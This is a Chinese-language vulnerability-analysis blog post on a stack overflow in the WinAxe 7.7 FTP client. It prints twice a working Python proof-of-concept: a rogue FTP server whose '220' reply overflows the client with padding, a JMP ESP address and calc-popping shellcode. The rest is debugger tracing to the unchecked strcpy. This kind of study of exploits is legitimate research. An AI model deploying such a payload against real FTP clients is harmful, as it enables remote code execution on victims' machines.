对于软件WINAXE 7.7 中存在的由栈溢出导致的远程代码执行漏洞的分析。
参考自:https://whereisk0shl.top/post/2019-01-19
poc如下——
import socket,struct
#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit
#Discovery hyp3rlinx
#ISR: ApparitionSec
#hyp3rlinx.altervista.org
#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
eip=struct.pack('<L',0x68084A6F) #POP ECX RET
jmpesp=struct.pack('<L',0x68017296) #JMP ESP
#We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode.
payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20 #Server Ready '220' Exploit
port = 21
s = socket.socket()
host = '127.0.0.1'
s.bind((host, port))
s.listen(5) //这里是创建了一个ftp server,用于接受WinaXe ftp client的连接 ,并发送shellcode
print 'Evil FTPServer listening...'
while True:
conn, addr = s.accept()
conn.send('220'+payload+'\r\n')
conn.close()
1.背景知识
A.WinaXe
(1)X终端
X终端(X terminal)一般为无磁盘的计算机,它专门设计用于为低成本用户接口提供在X服务器网络中运行的应用程序,X终端是分布式X Window System的一部分。一般的,X终端连接到大型机、小型机或者工作站中运行Unix操作系统的服务器。
(2)WinaXe
- 一个PC的X终端模拟器,如果你的Windows系统通过TCP/IP连接到UNIX主机上,那么这个软件就能让你在windows系统上运行其X程序,它支持OpenLook,Motif,CDE,VUE,Xt,X11R6.3和其它运行在Sun,HP,SGI,Linux,SCO,AIX等Unix工作站上的X程序。
- 它是一个强大的软件包,让你的PC变成X Windows的工作站,提供X Windows系统、TCP/IP、FTP、TFTP和Telnet软件,以及运行远程UNIX和X应用程序的一切,包括NFS服务器和客户端软件。
- 接下来要分析的漏洞就存在于其提供的FTP客户端软件中。
B.ftp连接
2.漏洞复现
运行poc后,成功创建ftp服务器(host为127.0.0.1),然后在客户端连接此服务器,可以直接看到利用成功,弹出计算器。
值得注意的是,这只是最基本的利用,验证其能够实现远程代码执行。从上图中也可以看到,在弹出计算器之后,应用程序就崩溃了,真正很好的利用是要使得应用程序执行完代码后能正常退出或继续运行,而不是崩溃。
3.漏洞分析
A.漏洞点定位
为了定位具体的漏洞点,将poc中的payload改为2200个重复的字符A
,运行后再WinDbg中可看到其崩溃信息如下图。由于此时栈上数据已经被覆盖,破坏了栈上的调用结构,所以无法获取具体的调用函数链,也无法看到具体的报错代码。
那么问题来了,该如何获取到分析程序的入手点呢?
发现自己好傻,既然数据太长把栈上数据覆盖了导致无法定位,那我可以先获取到eip寄存器的具体偏移,不用溢出那么多,就不会彻底破坏栈结构。果然隔一段时间不练习连最基础的方法都忽略了。
由上图所示,得到入手分析点(正常的返回地址42cc32
,由此定位到报错函数及其上层函数分别为404597
和42C890
)后就动态调试分析其具体的数据流向和函数调用流程,以分析出漏洞的产生原因和利用方式。
B.漏洞分析
在Immunity Debugger中能看到更加直观的返回地址和调用关系,如下图。
接下来通过分析数据流向,找到漏洞触发原因。
关键的数据流向如下:
在函数
sub_42C890
中,程序对接收到的来自远程ftp服务器的数据进行处理,在处理过程中并没有限制数据的长度。
在0042CC2D
处调用函数sub_404597
。
在函数sub_404597
中调用函数sub_404502
。
漏洞点位于函数sub_404502
中,由于这一系列操作并没有对数据长度进行限制,直接调用函数strcpy
就可能会导致栈溢出。
但是我们可以看到,虽然strcpy
函数拷贝了超长字符串到栈中,但在上述函数调用流程中,前几处返回的EIP都没有被覆盖,所以接下来我们需要继续动态调试以验证该漏洞的可利用性。
4.漏洞利用
在漏洞分析过程中,找到了漏洞点,继续向下跟踪数据的流向,可以发现在从函数sub_404502
返回上层调用函数时,EIP被strcpy
写入的数据覆盖,故我们可以劫持程序执行流程,实现漏洞利用。
由于EIP之后还有足够的溢出空间,可以直接在EIP后面的栈空间中写入shellcode,然后利用jmpesp
的方式进行利用。这里对博客最开始列出的参考poc进行简单修改如下。
import socket,struct
#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit
#Discovery hyp3rlinx
#ISR: ApparitionSec
#hyp3rlinx.altervista.org
#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
eip=struct.pack('<L',0x68084A6F) #POP ECX RET
jmpesp=struct.pack('<L',0x68017296) #JMP ESP
#We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode.
#payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20 //原poc中在jmpesp地址前写入了一个"POP ECX RET"的gadget的地址,但我在调试过程中发现,这个gadget并没有被执行,直接写入任意4个字节都可以达到效果,所以进行如下简化修改。
payload="A"*2065+jmpesp+"\x90"*10+sc+"\x90"*20
port = 21
s = socket.socket()
host = '127.0.0.1'
s.bind((host, port))
s.listen(5)
print 'Evil FTPServer listening...'
while True:
conn, addr = s.accept()
conn.send('220'+payload+'\r\n')
conn.close()
poc中找到的jmpesp的地址很巧妙,如下图所示。
5.遇到的问题
现象:在Immunity Debugger中进行动态调试时,执行到某个函数调用语句时出现卡死的状态,此时按F7(单步步入执行)和F8(单步步过执行)均无响应。
解决:此时按暂停键||
停止程序运行,就会从卡死的状态中跳出来,然后继续单步执行调试即可。